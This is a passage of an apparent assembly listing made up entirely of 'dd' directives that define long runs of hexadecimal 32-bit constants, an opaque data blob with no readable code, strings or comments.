5FB0F6CAh, 0E96788FCh, 0FE3145E2h, 0FDA51102h, 0B2B0044Bh dd 10C06426h, 3750310Ch, 204900B3h, 6EB8709Ah, 99795F4Fh dd 0A4EA2300h, 0BAE69076h, 0E9A00F62h, 12A00E4Eh, 43413C60h dd 0C4915B00h, 4B94E6BFh, 0C0240019h, 894569B2h, 9558A3h dd 1D3ABB5Fh, 0A407000Ah, 7FEF2833h, 9600B9CBh, 30C134B7h dd 1DC2EC69h, 0C02B455Bh, 0F7F250C8h, 14002C33h, 0D13D63C3h dd 974DE8h, 593BD276h, 4E969571h, 0C31A8A00h, 0A11088EFh dd 0D7230067h, 0BA5B3F72h, 5600C5D5h, 7775BB73h, 0B8F79Fh dd 8AF410ADh, 0F6A24E20h, 0F1A55F00h, 0ECC7E849h, 0F3FC0013h dd 99BEAFF2h, 9A0073AAh, 963977D9h, 3F4F5A51h, 0F83C0F9Bh dd 606FB780h, 37AD063Bh, 0CADE4132h, 2EF9C0EEh, 0A94B009Fh dd 6E9A648Dh, 1C011355h, 0BE45CEFCh, 19E8BA76h, 6528009Ch dd 88EE1173h, 877BA146h, 1E71CD00h, 30C8DC48h, 3D28E41Ch dd 0A8B9FB3Bh, 2454CA80h, 6A1B4B58h, 519A0C03h, 0D672C8B6h dd 7DBE4C49h, 3CB88400h, 27E5C6A0h, 0F81AB400h, 6D2C86FAh dd 12FE0F8Ch, 0BD0EE069h, 0F00C0312h, 8A902FC5h, 350074A0h dd 47A5DBE3h, 30448FC2h, 1032E2DAh, 330E283Ah, 0E8CB77h dd 0A731468Ch, 30928Fh, 0E42E8574h, 0DB283BB9h, 98CA5807h dd 35506009h, 0A595EBh, 0F2620492h, 0CFC54A50h, 4D00D6E6h dd 0B2F4F6DEh, 539446h, 981E9E30h, 0CA78A952h, 0B60E90B8h dd 409AFC8Bh, 0E71194E3h, 0F30F434h, 0D8DF8A4h, 2A5B4560h dd 0AD00993Bh, 41D7802Fh, 1427754Ah, 0C94EEF8Dh, 6BE8A500h dd 25920AF8h, 48F9700h, 40E3B9B3h, 4FEF0CB2h, 3488C9FCh dd 1DB48B00h, 3E3F5CB0h, 65063050h, 90D818E8h, 0F4348h dd 0DEEBB094h, 0E395DFh, 1FB2E9D9h, 7A02FCE5h, 70C75E00h dd 55C57C1h, 1253009Bh, 7790B391h, 0B2077175h, 0AFF17494h dd 7D2C2960h, 2B8107F3h, 502FA517h, 46A1CAACh, 0BB8E58h dd 0DE5073AEh, 2437FB6Bh, 0E8BD36h, 94BBC85h, 3203A4B2h dd 2551BE64h, 106DD8BBh, 0D7810024h, 0B55C61FDh, 0C160A85h dd 6C034F8Fh, 0F8AD7F9Eh, 0E16760h, 1DDB2F78h, 3D14B0CFh dd 7CB92800h, 4AE9CB55h, 2B6C12ECh, 2EE004A6h, 709C80BBh dd 9B03A234h, 0CAAD4A1Ah, 0B0729B51h, 12853649h, 0FF1382Fh dd 2060B6C4h, 531F04A8h, 525EC102h, 68B5D4C0h, 0DA614Ch dd 0F1711690h, 757A1AD8h, 3CCB7C00h, 6D44ACD9h, 978C0A7h dd 76022E59h, 0D08EE400h, 0DD5BB472h, 0B5EE07BDh, 905C04A6h dd 0C21DC19Dh, 0FB546013h, 3DF54400h, 0B3951Ch, 0BE28166Eh dd 2C1A6CE9h, 0DF914400h dd 59149A22h, 0C07D0Dh, 0BE76A17Ah, 332C2177h, 0D7758300h dd 1B412987h, 0B25207CCh, 0C071F01Dh, 9E052DE2h, 0F37EE000h dd 0F1834FC8h, 72F90068h, 1E854D2h, 0FD009414h, 265B3719h dd 9B4383h, 112047F4h, 90E253BDh, 22E90D03h, 0E00418DDh dd 3803D0E5h, 0EE00F866h, 1C941EC0h, 43009B81h, 5178DE54h dd 0A9184Ch, 9E0EB3CFh, 2C695A5Ch, 3CAE471Eh, 70B3444h dd 638A1090h, 0DA0D01B7h, 0D93D669Ah, 982BEC1Bh, 8879D11Fh dd 0B02E3E00h, 2F0C2h, 0A6550769h, 49E071E3h, 3507BE98h dd 0D3E80927h, 1391A9D0h, 79650137h, 772F47Fh, 0C444CDB0h dd 1F3F7B23h, 0B9750070h, 2A66C6D0h, 97BD4C2Fh, 4C855000h dd 1CC5B47Eh, 0A90848h, 0FAA56896h, 0C9A004h, 95BC288Ch dd 0E5EBF611h, 0ECE5F00h, 7B704C1Fh, 65B1095Eh, 1C232339h dd 75D8CCA7h, 0CB090E28h, 9B2ACEh, 0A653A85Ch, 7A93006Ch dd 0AFD56D03h, 0FD000FFFh, 0CD5F36A5h, 32D2EB3h, 50EE8448h dd 8A0EF3Eh, 0A000DA87h, 758D8E4Ch, 39FCB2h, 8CF188EDh dd 83473A2Ah, 0CFA05300h, 0D5528724h, 0A1FB0068h, 49047586h dd 0B2CD8E0h, 0CB00DCF7h, 0C253991Fh, 122705E4h, 80E67179h dd 8A6A2DFEh, 0B9AB5D00h, 851C931h, 0ED9F8EAh, 0F650C66Ch dd 0E2228AC0h, 0B00AF0Eh, 0F45C55F0h, 76C212h, 0A69513E1h dd 0DC9A7F40h, 6C4148h, 2653CEA9h, 0B9A852h, 94731A19h dd 0B23F8CFAh, 2DE95800h, 330FE087h, 0AF0800C6h, 66235D46h dd 0A03B950h, 7D1B82E4h, 0DD28F021h, 51DE02EAh, 893974CCh dd 90ED8E60h, 5A8AD60Bh, 13D10247h, 67BE83EBh, 0E75BB8A3h dd 0B7430084h, 5A7381A8h, 0ED008C87h, 0A7DD7133h, 0D3490Ch dd 0CF2E39A9h, 0AA506FD5h, 7B2B0100h, 0BE8B4F66h, 0A994004Bh dd 330D3FF0h, 0DD00B908h, 0A01BB6A8h, 2F9CEAh, 250E60B4h dd 45585F84h, 1A727A00h, 0B8ED4DD5h, 0EFA90063h, 0A5F55513h dd 0E039814h, 2C5A991Bh, 0B6A79882h, 0E2060005h, 425694BAh dd 0E101BDB4h, 93BE02EBh, 57CCF59Ch, 0F4402406h, 82C300E3h dd 46A5DDAEh, 3B645F02h, 0E803CA61h, 0C168CCh, 0AC5CE577h dd 74F6BB60h, 81C32C3Ah, 0D66EC5C0h, 60723CFBh, 8B8DCA00h dd 795C6059h, 5B7EB017h, 8480C00h, 3CD1DC8h, 0DC2A7F35h dd 6000FF76h, 0B53BB082h, 7BC1395Eh, 7E900242h, 83ADEE1h dd 3BB8D6C0h, 471848B2h, 0F69938ADh, 0DAC30032h, 2EC10A19h dd 8B7CEE5Eh, 0A0181C6Fh, 7737659Eh, 4B560033h, 0E803E987h dd 4F0051D8h, 7F98DD75h, 5C10A570h, 5C7550D4h, 0EF07B4C4h dd 207C913Ch, 9AA609F4h, 6E703A07h, 7A108056h, 4994C2h dd 0B53924CDh, 0E3EAA462h, 0F00C7802h, 60B654AEh, 320F7369h dd 0B1400ACDh, 92D078C0h, 0DD50B500h, 0FBBF90C2h, 0F9971E8Ah dd 0C7894002h, 27CA2B65h, 0CB2DEB00h, 524A0839h, 2AD01CB6h dd 445BC75Eh, 0D162271Ah, 0FC119BF9h, 0A31D1E06h, 4E00691Ch dd 0D62DCE70h, 86A800D5h, 0DC5FA1E6h, 8900D920h, 11FCCF0h dd 0F91E7F6h, 9A3A3E96h, 44301D93h, 0A3A7B6BBh, 1CB2B0B0h dd 0E4BC98FEh, 1834009Dh, 0CF28B187h, 2078F2Ch, 0E3A41BF2h dd 0B81AFFA3h, 317B407Ah, 0B4284D91h, 109311D0h, 0FFAC8B10h dd 20E64E81h, 8E6AE5B0h, 0C0A0221h, 9D519CA7h, 20966E20h dd 1200D7DCh, 467D7BE6h, 0C769Bh, 9844D684h, 64F14EA2h dd 0CD20EE1Fh, 0C62AC5C0h, 5BE7D26h, 0CAA6A023h, 3D48C8F0h dd 0B2258300h, 5A06F4BFh, 0C96900AFh, 5D700850h, 0DC381C27h dd 526F8102h, 5ECE1A21h, 753088E8h, 3E7FEEA5h, 4500295Ch dd 0D8821915h, 0D3015385h, 0CDD68A1Bh, 7FE087A5h, 15D3FEFh dd 38C02F80h, 518CB5B8h, 0C6631400h, 831091F7h, 0FA8E005Fh dd 55EEA460h, 90FAE8D6h, 82FFB500h, 28629EDCh, 6CDA0EC4h dd 15E0D8EEh, 0C9D7FDF2h, 96201D00h, 48D1AD09h, 0E237A7Ch dd 24228273h, 2F253160h, 0C126DE0Eh, 77029DB3h, 58273267h dd 34C26C8h, 7B786ECh, 2C03A0BBh, 5FC9255Bh, 0D0900163h dd 0E3977FAh, 0C6ACF826h, 0E646621Eh, 6CA809C5h, 75D0CC0h dd 0F7D71D1Fh, 604C40C3h, 0B76165C5h, 56C73100h, 7FFB3671h dd 1CBB0BEDh, 2C2042FCh, 6FBC8962h, 96003890h, 293D9F4Bh dd 0EBB8CEh, 35CF99EFh, 42697FE0h, 530798F4h, 58D46F77h dd 6029DB82h, 1845FD1Bh, 0A0A68DE5h, 3A00B923h, 152BB2D7h dd 0C9C929Bh, 0D171A061h, 9F00DE20h, 4B4511F9h, 30C057D7h dd 0C808BE0h, 0B20FB835h, 76F7E7Fh, 198046A4h, 0EFF8A8h dd 38AFBE82h, 0DF32AE7Dh, 0F5283900h, 83A0E8B5h, 0A5930E36h dd 0F060A63Ch, 95B39746h, 60C95300h, 0E62E288Bh, 4E51007Eh dd 9A4F7BABh, 0B6001243h, 45B0A43Ah, 7E501E2Bh, 56340016h dd 8952F470h, 9D02C90Fh, 33CA08CCh, 66E1F775h, 0DAF860EEh dd 36268F00h, 8E938DBFh, 6E75001Dh, 31841695h, 0F61CF18Ch dd 12C15EB8h, 8805A622h, 0D497E0h, 0BD24C9EAh, 4A0339EEh dd 0A1437500h, 68027A82h, 6EEF8h, 0ED16AD89h, 9BB63237h dd 0FDE0509h, 9E6A804Ah, 2B8AF4h, 3B185C9Ah, 69914E5Eh dd 48CB7800h, 5719C9A1h, 360F0072h, 3CFEFC21h, 6500224Eh dd 64CB67F7h, 51669Ch, 0E64B10E8h, 0E9B69FEFh, 74A94309h dd 9E91801Ah, 0F77681h, 3521A244h, 0AF0178A8h, 5CD4FA38h dd 5B007970h, 0E2ACF1F6h, 3E5D581h, 31C497E3h, 8A88E76Ah dd 4007B310h, 944159A4h, 0D818D6B3h, 542546h, 0A7BFDB2Eh dd 0A5F49E8h, 0AE5033E8h, 9A00B2C6h, 7B82CDA0h, 734F26Bh dd 781777B8h, 66C0EEC2h, 40F75975h, 3905A92Ch, 65379300h dd 0A6C99Fh, 0ABA2E773h, 0EAA84D2Dh, 71DD7700h, 22D64927h dd 6C0300B0h, 0D7E26419h, 0DF3C5963h, 9B5400C0h, 36FB9209h dd 0A7EE00D1h, 12B18BC6h, 30028793h, 0F3D5031Ch, 4B5F40D9h dd 4E560748h, 91E5624Fh, 0D40C5D9Ah, 64F8E1EEh, 8E99F73Ah dd 412DB6DDh, 0ACE8A6F9h, 39612CFCh, 0D4002E79h, 4495E0FAh dd 0DD003BC1h, 0B29AB9D7h, 387870h, 6A600173h, 6E199FCAh dd 5A9C9000h, 6910A6Dh, 87A70051h, 366474EDh, 13034B37h dd 63A61BD9h, 656B981Dh, 69FCFAh, 163C4C6Dh, 0EC5FF9FCh dd 20423Fh, 457B9DE8h, 3502857h, 0D9F7CB9Ch, 54F893D3h dd 520040ACh, 711F1C76h, 62EA51h, 0B370257Fh, 0B1BDA55h dd 0CD89801h, 99B48C4Ch, 0E9CF8h, 0BE112915h, 8EB8AE35h dd 9052F900h, 88E5CB60h, 25D400F4h, 0A5A499Dh, 33002271h dd 0D8066F6Dh, 3FCC9B4h, 0EF3BDD76h, 18073C5h, 2F98547Eh dd 413CFD00h, 5A2005F2h, 947BE5h, 0B93DDA22h, 937734A2h dd 839BC200h, 0E7683AD0h, 0D37BB6h, 0D68D7D03h, 1C56BB45h dd 79511200h, 0AC5718DBh, 269D003Bh, 0EE912DCBh, 0F3165049h dd 70988F4h, 0DB990089h, 0FA3C8726h, 175A008Fh, 64EA24F1h dd 0CC009206h, 0C8A74EBBh, 1931A8h, 72221574h, 0EFDE44E0h dd 3F841F00h, 0D8BFB17h, 3B63009Eh, 584A94ECh, 0EB7EA543h dd 8D539B00h, 0E174986Ah, 0D6FA1FF2h, 583540EFh, 46C85D72h dd 0B2F47700h, 0D56D82A9h, 0BD8B0079h, 20F1052Fh, 0B9580B44h dd 0C76A0094h, 2BC6B91h, 9CD50033h, 0A7195F46h, 0EC0D795h dd 2830B39Fh, 1E09004Eh, 9A2638E9h, 3C01AAFBh, 1FB5A936h dd 19C030EEh, 0F64A013Ah, 8C7F3280h, 0FFE1C470h, 0EFC0DA0Eh dd 520380E0h, 0B9AB3AEh dd 260FBB8h, 80F09000h, 3B079756h, 0EA22FD9Eh, 4C640150h dd 8D981Eh, 3EC2655Dh, 6935B468h, 24940F00h, 0BF0C6AE8h dd 0ECBE48A0h, 0F95D1800h, 7B1EB177h, 5A61392Ch, 8592F202h dd 0BA6DC0D9h, 1337BB5h, 0F9EDCBB9h, 0EC09034Ah, 0B107603Bh dd 0C0F8D2B6h, 77E5FB0h, 0D6FC0092h, 98218FE1h, 53001180h dd 4EDFA554h, 341C724h, 0C3EC7470h, 5CE01261h, 73005DD8h dd 0DCA8EA48h, 0E9609Ah, 9F53DF44h, 0F2C4202Ah, 61008B73h dd 3F1DB056h, 1980333h, 0C52BB96Dh, 0C4E4D745h, 0C600F683h dd 164D1331h, 7F6E6A4Eh, 0E510030h, 7448922Ah, 0CD00D2C8h dd 0B1B3ABC0h, 355F734h, 0B2CE3FC4h, 4900C54Fh, 0AD3D2B7Fh dd 1BF9EE3h, 0A86BF2A5h, 30313980h, 4700EEFFh, 14FEE623h dd 42D249h, 8D3079ACh, 4E6E948Ch, 7B0017ECh, 0F23647E5h dd 0E49096D2h, 0AE6600C9h, 5C45E86Bh, 0A0009867h, 0FB8A83DEh dd 7176F820h, 6A930006h, 5F5631B2h, 40042B3Ch, 41BA7A36h dd 0D0CE64C0h, 0B50F0ED8h, 1B20586Ah, 0AB138002h, 39763EEEh dd 25DCD700h, 4BE7D8DBh, 286A0AE4h, 3E9C177Ch, 0FFBC6F81h dd 70C27D08h, 0EE39FEF5h, 0B7FA802Bh, 14486426h, 0B4381FC5h dd 0B66404Bh, 0E5A5B2DCh, 9D91A800h, 0CE1C6EBh, 537C0331h dd 0E3AF405Ah, 0AD1CC0B5h, 0C000D899h, 0FD6B4F54h, 0E537BFh dd 62B2D333h, 0BCF5A469h, 0A5ABF0E7h, 5B3C6303h, 7ABA0512h dd 0EB0D0410h, 0BD7B78h, 59C81B5Ch, 5DBB0052h, 0E5B58009h dd 2D012B83h, 158C8539h, 3AF0F70Bh, 0DF901497h, 4600CB72h dd 0CBA41AA3h, 40745CCCh, 774EBA00h, 0E77966C7h, 0A12C006Dh dd 16A3C6AEh, 54008175h, 0DBEFD08Eh, 0BE9BB4h, 80FA3A37h dd 364241F8h, 0F5563C01h, 0CA94717Ah, 4898D470h, 1E1D1034h dd 3D542615h, 0D5B05C03h, 82A8A7DCh, 9D00802Ch, 0C249E291h dd 98EC7Bh, 0EA371ED4h, 0A93309D2h, 0AD6FD800h, 2A28B932h dd 12F7579h, 0F95E8D49h, 0FD815C17h, 1E1BCC10h, 64F0F400h dd 6D619295h, 67500068h, 2807ABD9h, 0AE003EB2h, 0CA0F3F5Bh dd 1DCB381h, 74C818FBh, 0E4502CD5h, 7600ED83h, 0C48CFE07h dd 7DD6B9h, 0BEEEB2B6h, 0B170BC9Ch, 8657AB00h, 7AE67CFDh dd 912E0319h, 3FFED02Ch, 0C71B5B88h, 6215D700h, 3A28F5A3h dd 0B5140005h, 0D041C94h, 0C800999Ch, 6CD2160Fh, 181992h dd 68A62D35h, 0AC8E8D4Ah, 0F62BC200h, 28ED133Ch, 4310049h dd 0A4A11279h, 9F00B4CEh, 0BEF3466Eh, 13362891h, 8B0AD8h dd 0DBD2AB16h, 20C03EC0h, 8899EB1Ah, 91970338h, 76E7B66Ah dd 0A7CDA09Ch, 0A4009998h, 61F11351h, 0B8651248h, 306D03DEh dd 3D2D0C43h, 0BCCA4800h, 9C1048D5h, 0BE030032h, 59CF67DBh dd 8E05A62Ah, 0E59B05C7h, 262B0480h, 71AF791Dh, 9E3C0069h dd 296A4FC4h, 0FE001B88h, 0A63603F4h, 763F344h, 4C8FC51Eh dd 3BE37096h, 24007B05h, 2FEC4A16h, 0B419F0h, 77C85BB5h dd 0BC3F72CAh, 0A5909854h, 8C61C003h, 0D1E72204h, 4CF03531h dd 0C6B80027h, 1F8D72D2h, 2319E678h, 2B10CBDCh, 3EA241F4h dd 0DA80D319h, 6DF345EBh, 52774C13h, 0E7ED40h, 0E5BA743Bh dd 99CA765Bh, 78ECB704h, 2C81FF35h, 64F0048Fh, 8C980088h dd 3F9513F3h, 0AA0075B3h, 63EAC550h, 1F226829h, 0C33A4C78h dd 0EFF180D6h, 40364680h, 211CDC90h, 0E040256Dh, 707F8427h dd 9BD8168Dh, 329600DBh, 5F7D4F4Ah, 42ED480Eh, 31BF00DEh dd 7823621h, 0D0AF976Ah, 0C12EF214h, 25AC17E0h, 76E6F30Eh dd 41D006Bh, 34F4CCAh, 83C64AB9h, 19F89782h, 7600D199h dd 0D38E3BFBh, 1E8C12h, 25D27369h, 0A442824Eh, 34710DFCh dd 0C4DF4802h, 0C07C3AAEh, 7FE0304h, 746B8FE4h, 0C2F3A3AAh dd 4C1E3CD8h, 6F0638h, 0ECF85360h, 65D08Bh, 67B078A6h dd 747DD561h, 8984A117h, 69A0A600h, 72383F7h, 0C413EACh dd 197B90B0h, 320044E4h, 0A47A1F9h, 0E12811Eh, 0BF6B745Fh dd 23E19320h, 1D00E8D2h, 0FA7930ABh, 0CF2462h, 8B600669h dd 0FB05532Bh, 30B2DE00h, 0BC99FCBBh, 3E2C0172h, 45F1478h dd 506FC8Bh, 0D2536200h, 5BB7EFF7h, 0B36D0E36h, 2B6046B5h dd 1F3E4534h, 0D7F8D400h, 0F9D5926Eh, 2978B6h, 0A670C3A2h dd 71F4BA69h, 1CC53600h, 0C6576BE2h, 0E12F0015h, 0F2FC90DBh dd 771E2787h, 0A706B9F7h, 2C8EEB8h, 8499CBB5h, 7771A30h dd 4E40B76Ah, 50CE74h, 51423BA3h, 82EE17E8h, 7A23553Bh dd 9AC2C800h, 8CB1CFF4h, 40D60026h, 76086B10h, 6200F696h dd 4CDF4B81h, 374807Bh, 0E89F9B60h, 0F3F8FB04h, 0C900DC62h dd 0BBB73CBAh, 0F7C068Ah, 5755439h, 992E9B20h, 0EEA09177h dd 0F60028EEh, 0E26B7E78h, 77B3F51Ah, 808B0144h, 0F0869004h dd 0F06AC1A7h, 0E263E93Ah, 0B882E441h, 1AE031Eh, 0EF83123Eh dd 0E4A17962h, 4075DF1h, 789848B6h, 88519D60h, 5E41007Dh dd 0A2FF6FD5h, 850562BCh, 6AF0509Fh, 0EE5991C0h, 451401A4h dd 489A7854h, 53FAE83Ch, 921DAC0Eh, 9F5600E0h, 9058C128h dd 7CC07570h, 0F5543BA0h, 351FDC07h, 10117736h, 3748CFDDh dd 6A237401h, 0B191B97Dh, 0FF65C8h, 0BDAD8BCEh, 0CBE017DBh dd 2EAEE700h, 5127F971h, 32C609AFh, 6E80BE34h, 93783815h dd 18E6DD00h, 0DAFB8424h, 38EE60ECh, 4BCF875Bh, 0C68E5300h dd 101F224Dh, 255607D1h, 0F1A7276Ah, 0E091BD7Ch, 0BE031D74h dd 0DA894060h, 0C039D8FEh, 6768056Bh, 40E66h, 5D07EAABh dd 807763Eh, 0B238F128h, 0BCE06631h, 4DE82DD5h, 1D7B20h dd 69883E01h, 567068Eh, 0FAE69600h, 2E7D3F82h, 567BB5h dd 0C558BBE7h, 4EABFED4h, 0D763B100h, 2386C6AAh, 0F6D57C7Ah dd 933C0044h, 6D8EB69Dh, 9A057CB1h, 0D9942FB5h, 18E4B480h dd 6F150046h, 97D8BD3Dh, 1000E912h, 48A69F75h, 4F6850h dd 0E3AE7ABFh, 1CF4CCE6h, 0A277D700h, 51A55E3Ah, 28DC005Ah dd 68EAB6A8h, 0FA79E83Bh, 1093EC00h, 0B97F9596h, 0A0FEFCh dd 0E346CE3h, 84AD542Dh, 0DD50BD0Fh, 19CB6041h, 8BD9A8h dd 1E484634h, 0F13FB3AAh, 70B8A10Eh, 11F327CDh, 0F0F79840h dd 7C380046h, 0FF940DF6h, 5AEA65BBh, 0BC6E4900h, 5E7F4577h dd 0A27C074Fh, 0D0D599D6h, 8844542Eh, 1924937Dh, 0CA8038B9h dd 6DD2B0C2h, 29E4A097h, 4F170103h, 0EA9DE4CFh, 0A5E03BF3h dd 200C0080h, 4CB6C5D0h, 52016974h, 594F1BF9h, 0F8D0C257h dd 6FE60006h, 5E91D2E3h, 6E06E7D3h, 7D0792Fh, 0BAA400B9h dd 0F64FD2DEh, 1B000E71h, 0FDA6C092h, 77FAAE7h, 0BD8AD4B8h dd 72F2C0C1h, 0B0C27052h, 5750FCh, 5F40C035h, 96601300h dd 0AF8CCF17h, 7D20097h, 3D9ADF73h, 0F400FCBEh, 0C86EBA78h dd 0ED822Ah, 5C35600Fh, 0E45FAE7h, 8900157Ch, 0A3B6C02h dd 68B06Fh, 0CE66FDA2h, 521F69FAh, 0C4F12300h, 0DFCA8B0Ch dd 26790073h, 0FA917EE5h, 431FA02Bh, 0C880E7CFh, 0CB9D58AAh dd 7F9B00C0h, 0E86D473h, 700F643h, 0CD4E2E33h, 3D084h dd 1D2888A2h, 0C2D97801h, 0A74AAE00h, 5611091Ah, 0E6CBF402h dd 5AF1092Fh, 0B8003F31h, 267439B5h, 257BC5FAh, 0ECE2C40Fh dd 1F9140FCh, 0C0BF59h, 0A884BEFDh, 0E643AC73h, 6B429907h dd 3C1085B6h, 234BAFFh, 8CEFB323h, 59C0B99Eh, 7500DAC0h dd 679D1C5Bh, 6F819Fh, 0DCED7271h, 0EB611DDBh, 0D5A7AE00h dd 0CD1F40E9h, 6E71AFh dd 2AF385C9h, 9D8F73DCh, 0F0EF5914h, 3A430096h, 87219EC0h dd 62B800A0h, 0FE22E2BBh, 0B10275DBh, 0A476D5D6h, 0E6B68391h dd 235FC02Eh, 0F0440172h, 0F367634Fh, 98BA30E0h, 69079909h dd 0F4E65889h, 2874C8h, 0CBA03E11h, 9D7AD282h, 64395000h dd 131F4CC5h, 0C9E200F7h, 0DF35C4F8h, 9E00AF43h, 18A5806Eh dd 9DCC7h, 1B24EDD0h, 0ECE7F2C2h, 67985E09h, 0A28020F8h dd 14D6282Bh, 0AC72B1A4h, 0E5DA4B0Fh, 87A81E60h, 6F00D985h dd 632FA65Ch, 23CE7Ah, 0FEDEAF08h, 7F513E75h, 1D48D00h dd 733CB7A3h, 3736F09Fh, 0E098101Bh, 0BE530721h, 9A81B100h dd 5FA90C51h, 0D48700AAh, 33E9F779h, 970020C7h, 0CE157E3Fh dd 785D07Dh, 9831431Fh, 0B4F9B0D9h, 35006C95h, 0FA8CFFF7h dd 27BB93h, 0DF20CF48h, 74653F33h, 0F4CD4524h, 0A03A408Fh dd 0D0513BC0h, 7CF400E5h, 62D12296h, 0A001DEAh, 0A6ECE402h dd 339242h, 0CDC3DEA3h, 13BBA890h, 63FF3E00h, 8DB1353Ch dd 0FB720032h, 0D4C0EAEBh, 0B00B8F4h, 0C76EEE4Fh, 21971h dd 0CA275E7Eh, 213C6B07h, 99FEB875h, 0D91F5700h, 0C9951362h dd 4B502438h, 0C0FE09D9h, 0AD584496h, 9D750027h, 0FC0111E1h dd 346B0024h, 0E4C5D1C2h, 0C0002DF5h, 1D27B26Ah, 79A27829h dd 4230079h, 0B1927254h, 7B00F5F2h, 0A6BE5FA3h, 0F1F4395h dd 0CDF7ECD7h, 0A048C747h, 0C990C8C6h, 0A962F000h, 19DC4426h dd 14B2AAh, 970A508Eh, 0BBEA5A42h, 1FDB8003h, 0D84E71BCh dd 7FBE168h, 0F1FDC37Bh, 0C467602Dh, 8700BAF5h, 9D5403E3h dd 24FCC8F9h, 0A1E26Fh, 3B04E4FBh, 2900BF1Eh, 5265867Ah dd 517213Fh, 1947310Bh, 0F3B20045h, 92DF1376h, 208D1200h dd 0C79457D1h, 52B70F0h, 1B961AF8h, 40AAC0D4h, 6E00CB11h dd 0E7DB428Dh, 7B18E8h, 0A9129678h, 6552C0FAh, 2FAB96C0h dd 3CE9ED07h, 4C83565Eh, 0B3F65479h, 8AA75BA8h, 331C3807h dd 67703CECh, 1626F076h, 327A95h, 41F4F3B9h, 0EA000159h dd 8CAE022Dh, 5161F2A7h, 6A20500Eh, 604F036Ch, 6842AE08h dd 6253C2A0h, 185520CCh, 3D640265h, 71F5489Dh, 299028C3h dd 0DE04611Eh, 0F25BF4E8h, 49598E80h, 0FE2B8B0h, 7412FB5Eh dd 79019AC3h, 903B2430h, 6062D213h, 0C1425953h, 0C71CA9DAh dd 3BC0952Bh, 6F46961h, 0E10109FAh, 0A283FFCEh, 6CB2A739h dd 571B7080h, 0F407EEE9h, 9BED1FC2h, 594B2120h, 0D54200A2h dd 87B28678h, 854C49E1h, 0BDB10090h, 95A3B6D3h, 445238A0h dd 588379BDh, 6FA815A5h, 0DB40DD80h, 3EF4E97Ch, 0F5223418h dd 57EC74h, 0FED08B95h, 1DBA2817h, 290BD1Dh, 36CFF240h dd 439F1Fh, 6EB4A2A7h, 0E787661Eh, 681B1C00h, 0CDD46153h dd 21331FDBh, 3F9380B3h, 0DC8F4A84h, 92852602h, 40FF0B87h dd 0E424152Dh, 0ABE2C9h, 0D0934D1Bh, 0BECB1463h, 87446D00h dd 2B1A067Ch, 3F710052h, 209C1C1Dh, 2C00BB5Fh, 3EECBD92h dd 0F6C0D6h, 4AC23202h, 1C62ABBCh, 31F0505Bh, 10DC00FEh dd 0AD59DD23h, 47008038h, 3150CFCh, 1491AECh, 30930B96h dd 0FCB572C4h, 6F1E2608h, 8ECAF0F9h, 4C8AC46Bh, 3280DCC0h dd 5D081753h, 83B004B5h, 80CF9892h, 0F12DA430h, 1E809E1Ch dd 239B3589h, 0B2903B3Ch, 42EBC04Fh, 8F49C0E7h, 0C5D34AE4h dd 15990C00h, 76BDB560h, 49C91F1Eh, 0AF788F11h, 90357FE3h dd 7ACE6FC8h, 0E87DF300h, 0DE72B8Ah, 78E0FD36h, 0F21B48FDh dd 9E05E06h, 0D244B0D8h, 90E100B3h, 0A0CF9439h, 130215F5h dd 47732C49h, 3D034112h, 7594A320h, 0C8EB30C2h, 0DAC5A039h dd 0B669A603h, 0F97E503Ah, 8840FA10h, 9020ECEEh, 0C3FB308Ch dd 1363B540h, 80A78B18h, 4876D4h, 0CE4C967Bh, 3092E490h dd 426E0100h, 0FFC54F47h, 0BEF075h, 2FAD3624h, 2E9943EBh dd 0CE486A00h, 0F1634D53h, 41A00039h, 0CD9D9E1Ch, 5D00017Dh dd 64C4CE3Eh, 26C8EAh, 6AF34AE7h, 443134DDh, 121495Ch dd 0ED636CB9h, 1FF7246Bh, 0C0D37630h, 815A371Dh, 231E5C27h dd 0DC435F89h, 98F52ED5h, 0EE5957C2h, 0F0E848BDh, 0AD3C3860h dd 0F8BF2670h, 680E00B4h, 82FE2AB1h, 1324300Ch, 0A500DC24h dd 0C9DDD591h, 436A00EAh, 9490B8C1h, 0D0C06863h, 374AA32Ah dd 0E37B004Eh, 0BE8F0214h, 5C00421Eh, 5F3B8119h, 9A09C4h dd 0D16D9452h, 66C6E0CEh, 0EA2F6E1Eh, 2450046Bh, 4820AF6Ah dd 2F07704h, 31B23E74h, 0ECDFAE00h, 0A485CDE7h, 2B215761h dd 318F1BDDh, 6B2CDF97h, 331F8218h, 600020D8h, 0F1C631C0h dd 6F1600DAh, 0CD94D68h, 0C560E23Fh, 0ABCD6148h, 0E6A40072h dd 0DCDA5C46h, 6679DB2Ch, 0BD056900h, 0A56DF10Eh, 0CD800A1h dd 55B1656Ch, 880033AEh, 450BD35Ch, 0C969B9h, 65613F9Ch dd 1218E1EAh, 2002F529h, 303587C2h, 743067E3h, 7164E8DFh dd 0D81900D1h, 575A2072h, 2F18DA5Fh, 8ED9A7A6h, 6D08C0D9h dd 0F935095Ch, 0BEBFC407h, 42C00864h, 70B704h, 0C7E39F4Ah dd 0DA6A1109h, 0C0A1ACA8h, 77CF3Ah, 66451081h, 2938114Ah dd 79C7E06h, 89F0DC88h, 0E7972B80h, 9000D5C6h, 0F1517810h dd 2AEAFCFEh, 0C45F13h, 0F5D20F77h, 4FEDAC74h, 360082B8h dd 6EFAF0EEh, 13C540h, 96F16059h, 20F98F6h, 57D74400h dd 727AECCFh, 6CC61404h, 8060C07Bh, 6045B287h, 0F1E02702h dd 81921302h, 22E88ED8h, 6BC9C880h, 86DEAD83h, 0C59DF00h dd 25DAD2B0h, 0C69FC50h, 34D9239Dh, 0E300CDD1h, 0C2DA9C3Bh dd 2A5C3F35h, 882831h, 0E0CC1988h, 4A50DEFAh, 0F4062D75h dd 0D2118BD6h, 0EAE9C0A9h, 3CA4AD3Eh, 650E8507h, 9B50C719h dd 31691DEFh, 2228F0F6h, 0C61840A7h, 0FB737ABCh, 0E818027Ch dd 0C19124CAh, 38081D03h, 0D307817Bh, 2057D62Ch, 55153370h dd 3F00915h, 8B65CBBCh, 5F20E7ABh, 897BC6h, 0A9CFEB84h dd 0E8565B0Fh, 7472DD00h, 0F1E15C3Dh, 0A70A06F7h, 906A29E6h dd 2F5D9512h, 232C1C44h, 21271E01h, 0ACC7D011h, 730148E4h dd 6252B1BCh, 0F041FD22h, 40006A35h, 97780739h, 89E00503h dd 0C8C2B66Fh, 0A0215B1h, 0A87C41E8h, 35E7608Ch, 0FD1E87B3h dd 0A3499A69h, 855C11E4h, 0E1FEBC50h, 0F507BFDh, 0DB72763Ah dd 27E7F620h, 0AC1429D5h, 0FD4651Dh, 